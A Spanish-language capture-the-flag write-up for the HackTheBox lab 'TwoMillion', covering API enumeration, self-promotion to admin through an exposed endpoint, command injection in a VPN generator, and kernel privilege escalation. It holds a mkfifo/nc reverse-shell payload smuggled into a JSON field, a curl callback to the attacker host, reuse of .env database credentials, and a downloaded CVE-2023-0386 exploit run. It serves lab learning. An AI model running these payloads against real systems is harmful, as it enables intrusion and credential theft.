Ir al contenido
  1. Writeups/

HackTheBox - TwoMillion

·10 mins
Nicolás Seral
Autor
Nicolás Seral
bla bla bla bla
  • Dificultad: easy
  • Tiempo aprox. 4h
  • Datos Iniciales: 10.129.229.66

Enumeración inicial
#

Empezamos con un escaneo inicial de puertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
$ sudo nmap -sT -Pn -p- 10.129.229.66 # Encontramos 22,80
$ sudo nmap -sT -Pn -p22,80 -sVC 10.129.229.66 # Indica "Did not follow redirect to http://2million.htb/", lo añadimos a /etc/hosts
$ sudo nmap -sT -Pn -p22,80 -sVC 2million.htb
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Hack The Box :: Penetration Testing Labs
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Nada en UDP
  • 22/tcp (OpenSSH 8.9p1): Algunos CVE recientes, pero no relevantes (difícilmente explotables).
  • 80/tcp (Nginx, versión desconocida): Servidor HTTP. Tiene la cookie PHPSESSID con HttpOnly desactivado, así que si hay XSS podríamos robar una sesión.

Puerto 80, HTTP
#

Al entrar, encontramos lo siguiente.

Es la página de presentación de HackTheBox del 17 de septiembre de 2017. Aquí encontramos dos botones que funcionan:

  • [ login ], que lleva hacia /login
  • [ Join HTB ], que lleva hacia /invite.

Si vamos a /login, encontraremos un panel de inicio de sesión.

En el código fuente de esta página, veremos que cuando pulsamos en Login para iniciar sesión, se realiza una solicitud hacia /api/v1/user/login. Partiendo de esto podríamos enumerar más endpoints.

Por otro lado, en la página /invite, encontramos esto.

Un panel en el que tenemos que introducir un código de invitación, que originalmente se nos proporcionaría al resolver un reto. Una vez lo tuviésemos, pulsaríamos Sign Up. Si miramos qué pasa cuando pulsamos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /api/v1/invite/verify HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
...[SNIP]...
Origin: http://2million.htb
Referer: http://2million.htb/invite
Cookie: PHPSESSID=shlk83hjjpmunlvnpeofuirffl
Priority: u=0

code=9999

Y se nos devuelve Invalid invite code. Please try again.

Enumerando API
#

Ahora que tenemos varios endpoints, probamos a enumerar más.

1
2
3
4
5
6
7
8
$ ffuf -u http://2million.htb/api/v1/invite/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -fs 162
verify                  [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 132ms]
generate                [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 212ms]

$ ffuf -u http://2million.htb/api/v1/user/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -fs 162
login                   [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 47ms]
register                [Status: 405, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
auth                    [Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 39ms]

Si vamos a generate, y lo solicitamos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ curl -v http://2million.htb/api/v1/invite/generate
...
* Request completely sent off
< HTTP/1.1 405 Method Not Allowed
< Server: nginx
...

$ curl -v http://2million.htb/api/v1/invite/generate -X OPTIONS
...
* Request completely sent off
< HTTP/1.1 405 Method Not Allowed
< Server: nginx
...

Vemos que nos devuelve 405 Method Not Allowed. Tenemos que adivinar el método a usar. Si probamos con POST:

1
2
$ curl http://2million.htb/api/v1/invite/generate -X POST
{"0":200,"success":1,"data":{"code":"QkJPU0ktUUpOMFEtMTFaVkMtN1VSQVI=","format":"encoded"}}

Recibimos un código en formato “encoded”, posiblemente base64. Lo decodificamos.

1
2
$ echo 'QkJPU0ktUUpOMFEtMTFaVkMtN1VSQVI=' | base64 -d                                  
BBOSI-QJN0Q-11ZVC-7URAR

Esto tiene más forma de código, probamos a meterlo.

Y ya podemos crear una cuenta. Creamos la cuenta username:password, con email user@name.com.

Dashboard
#

Una vez dentro, encontramos el panel de control de HTB en /home.

Desde aquí podemos ir a Dashboard (que contiene info de máquinas, miembros, etc.), a Rules, que contiene las reglas, y a Change Log, que contiene cambios y reportes y arreglos de bugs, con el registro más reciente del 5 de sept. de 2017, 12 días antes del momento en el que se encuentra la máquina, así que cualquier bug mencionado posiblemente ya esté arreglado.

Al resto de botones no podemos darle, salvo a uno, Access.

Ahí podemos descargarnos el archivo de config. de OpenVPN desde Regenerate, que nos lleva a /api/v1/user/vpn/regenerate. Desde el archivo [usuario].ovpn encontramos lo siguiente:

1
2
3
$ grep 2mill username.ovpn 
remote edge-eu-free-1.2million.htb 1337
Issuer: C=UK, ST=London, L=London, O=HackTheBox, OU=VPN, CN=2million/emailAddress=info@hackthebox.eu

Encontramos el subdominio edge-eu-free-1.2million.htb.

Pero si intentamos conectarnos, se nos redirige a 2million.htb de nuevo, y si intentamos conectarnos a la VPN, la conexión falla.

APIs
#

Antes habíamos encontrado un directorio con API Endpoints: http://2million.htb/api/v1/user/, pero qué pasa si en lugar de buscar user buscamos algo como admin?

1
2
$ ffuf -u http://2million.htb/api/v1/admin/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -fs 162 -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu"
auth                    [Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 49ms]

No encontramos nada más. Ahora bien, si nos fijamos en las solicitudes hechas a la página desde el inicio en BurpSuite, encontramos que algunas tienen la forma /api/v1/user/vpn/[endpoint], y no están directamente en /api/v1/user/. Con admin podría estar pasando lo mismo.

No podemos hacer fuerza bruta para encontrar directorio porque el número de intentos crece de forma cuadrática con el tamaño del wordlist. Tenemos que encontrar algún modo de conseguir una lista de endpoints.

Si probamos a solicitar a /api, encontramos esto:

1
2
3
4
$ curl http://2million.htb/api -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" | jq
{
  "/api/v1": "Version 1 of the API"
}

Si solicitamos:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
curl http://2million.htb/api/v1 -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" | jq

{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Y ahí hemos encontrado 2 endpoints en admin. El más relevante parece /api/v1/admin/settings/update, que permite actualizar ajustes de usuarios. Primero probamos a ver si somos admin:

1
2
$ curl http://2million.htb/api/v1/admin/auth -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu"     
{"message":false}

Solicitamos update:

1
2
$ curl http://2million.htb/api/v1/admin/settings/update -X PUT -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu"   
{"status":"danger","message":"Invalid content type."}

Vemos que el Content-Type es incorrecto. Como se nos manda la respuesta en json, la mandamos en json también.

1
2
$ curl http://2million.htb/api/v1/admin/settings/update -X PUT -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" -H "Content-Type: application/json"
{"status":"danger","message":"Missing parameter: email"}

Y ahora mandamos nuestro email.

1
2
$ curl http://2million.htb/api/v1/admin/settings/update -X PUT -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" -H "Content-Type: application/json" -d '{"email":"user@name.com"}'
{"status":"danger","message":"Missing parameter: is_admin"}
1
2
curl http://2million.htb/api/v1/admin/settings/update -X PUT -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" -H "Content-Type: application/json" -d '{"email":"user@name.com","is_admin":true}'
{"status":"danger","message":"Variable is_admin needs to be either 0 or 1."}
1
2
$ curl http://2million.htb/api/v1/admin/settings/update -X PUT -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" -H "Content-Type: application/json" -d '{"email":"user@name.com","is_admin":1}'   
{"id":13,"username":"username","is_admin":1}

Y ahora somos administradores. A ver qué podemos hacer.

Command Injection
#

Ahora somos administradores, pero en el dashboard no ha cambiado nada y seguimos sin poder hacer nada más allá de crear archivos .ovpn. Dicho esto, llama la atención un endpoint de los que habíamos visto antes.

1
2
3
"POST": {
  "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
  }

Esto nos permite crear (siendo administradores) un archivo .ovpn para cualquier usuario, de la siguiente manera:

1
2
3
4
5
6
7
8
9
$ curl http://2million.htb/api/v1/admin/vpn/generate -X POST -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" -H "Content-Type: application/json" -d '{"username":"test"}'
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
... # El resto del OVPN

La cosa es que posiblemente esto se esté ejecutando en un shell como algún tipo de script de bash. Si probamos a mandar algo “diferente” como username:

1
2
$ curl http://2million.htb/api/v1/admin/vpn/generate -X POST -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" -H "Content-Type: application/json" -d '{"username":"$(curl 10.10.16.82)"}'
# No recibimos nada.

En el listener:

1
2
3
4
5
$ sudo python3 -m http.server -b 10.10.16.82 80           
[sudo] password for kali: 
Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ...
10.129.229.66 - - [18/Jun/2026 18:36:18] "GET / HTTP/1.1" 200 -
10.129.229.66 - - [18/Jun/2026 18:36:18] "GET / HTTP/1.1" 200 -

Así que tenemos RCE. Mandamos un revshell.

1
$ curl http://2million.htb/api/v1/admin/vpn/generate -X POST -H "Cookie: PHPSESSID=5a9a05t81bvhh3mcgot15knjfu" -H "Content-Type: application/json" -d '{"username":"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.82 4444 >/tmp/f)"}'

Y en el listener.

1
2
3
4
5
6
7
8
9
$ penelope -i 10.10.16.82
[+] Listening for reverse shells on 10.10.16.82:4444 
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from 2million~10.129.229.66-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 

www-data@2million:~/html$

Movimiento lateral a admin
#

Aparecemos en /var/www/html como www-data. Si nos fijamos en el código fuente de la página, veremos que efectivamente era un script:

1
2
3
4
5
6
7
8
www-data@2million:~/html$ cat VPN/gen.sh 
#!/bin/bash
username=$1
if [[ -n "$username" ]]; then
	cd /var/www/html/VPN
	/usr/bin/cp user/user.cnf user/"$username".cnf
	/usr/bin/sed -i "s/username/$username/g" user/"$username".cnf
...[SNIP]...

Si miramos el resto de archivos, encontramos uno Database.php, pero no contiene credenciales para la DB. En index.php encontramos lo siguiente:

1
2
3
4
5
6
7
www-data@2million:~/html$ cat index.php 
...[SNIP]...
$dbHost = $envVariables['DB_HOST'];
$dbName = $envVariables['DB_DATABASE'];
$dbUser = $envVariables['DB_USERNAME'];
$dbPass = $envVariables['DB_PASSWORD'];
...

Están declaradas en las variables de entorno, pero no están en el nuestro:

1
2
3
4
5
6
7
8
9
www-data@2million:~/html$ env
SHELL=/usr/bin/bash
PWD=/var/www/html
HOME=/var/www
TERM=xterm-256color
USER=www-data
SHLVL=2
LC_CTYPE=C.UTF-8
_=/usr/bin/env

Si buscamos en algún sitio DB_PASSWORD:

1
2
3
4
5
6
7
8
9
www-data@2million:~/html$ grep -r "DB_PASSWORD"
.env:DB_PASSWORD=SuperDuperPass123
index.php:$dbPass = $envVariables['DB_PASSWORD'];

$ cat .env 
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Y ahí tenemos las credenciales de la DB, admin:SuperDuperPass123.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
www-data@2million:~/html$ mysql -u admin -p"SuperDuperPass123"
MariaDB [(none)]> use htb_prod
Database changed

MariaDB [htb_prod]> show tables;
+--------------------+
| Tables_in_htb_prod |
+--------------------+
| invite_codes       |
| users              |
+--------------------+

MariaDB [htb_prod]> select * from users;
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| id | username     | email                      | password                                                     | is_admin |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+
| 11 | TRX          | trx@hackthebox.eu          | $2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq |        1 |
| 12 | TheCyberGeek | thecybergeek@hackthebox.eu | $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK |        1 |
| 13 | username     | user@name.com              | $2y$10$slMEnysodGaP3bjDog/v8OA5skSvxkF8F5gX9DNp4RShXw5Q/l5um |        1 |
+----+--------------+----------------------------+--------------------------------------------------------------+----------+

Y tenemos 3 hashes bcrypt. Uno de ellos pertenece a nuestra cuenta, los otros dos son de otros administradores, así que pueden resultar útiles. Si intentamos crackearlos con hashcat, veremos que no da resultado, no obtendremos nada, así que probamos por otro lado.

Si vamos a /home:

1
2
www-data@2million:/home$ ls
admin

Existe el usuario admin y el username de la db era admin. Probamos a ver si se han reutilizado credenciales.

1
2
3
4
5
6
www-data@2million:/home$ su admin
Password: #SuperDuperPass123
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:/home$

Privesc
#

Vamos enumerando cosas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# DATOS DEL SISTEMA
admin@2million:/tmp$ cat /etc/os-release 
PRETTY_NAME="Ubuntu 22.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.2 LTS (Jammy Jellyfish)"
...

admin@2million:/tmp$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

Si buscamos más acerca de esta versión encontraremos que es vulnerable a CVE-2023-0386, una vulnerabilidad de LPE de OverlayFS con CVSS 7.8 HIGH.

Encontramos un POC público y lo descargamos.

Desde nuestra máquina:

1
2
3
$ git clone https://github.com/puckiestyle/CVE-2023-0386.git
$ zip cve.zip CVE-2023-0386 -r
$ python3 -m http.server

Y en el servidor abrimos dos terminales, en una ejecutamos esto:

1
2
3
4
5
admin@2million:/tmp$ wget 10.10.16.82:8000/cve.zip     # Descargamos todo
admin@2million:/tmp$ unzip cve.zip                     # Lo descomprimimos
admin@2million:/tmp/CVE-2023-0386$ cd CVE-2023-0386/
admin@2million:/tmp/CVE-2023-0386$ make all                          # Compilamos el exploit
admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc        # Ejecutamos una parte

En la otra ejecutamos el resto del exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
admin@2million:/tmp/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jun 18 23:46 .
drwxrwxr-x 6 root   root     4096 Jun 18 23:46 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/tmp/CVE-2023-0386# sudo whoami
root

Y tenemos root.

Relacionados

HackTheBox - Analytics

·8 mins
OS: Linux | Dificultad: Easy | Conceptos: Subdominio, Docker, RCE, Metabase

HackTheBox - Orion

·6 mins
OS: Linux | Dificultad: Easy | Conceptos: Versión de Yii Framework expuesta, CVE en CraftCMS, Credencial de MariaDB crackeada, Reutilización de contraseñas, Vulnerabilidad en Telnet

HackTheBox - Paperwork

·14 mins
OS: Linux | Dificultad: Easy | Conceptos: Command Injection en daemon LPD, Servicio JetDirect/PJL con path traversal, Creación de claves SSH, Paso de file descriptors a través de socket Unix.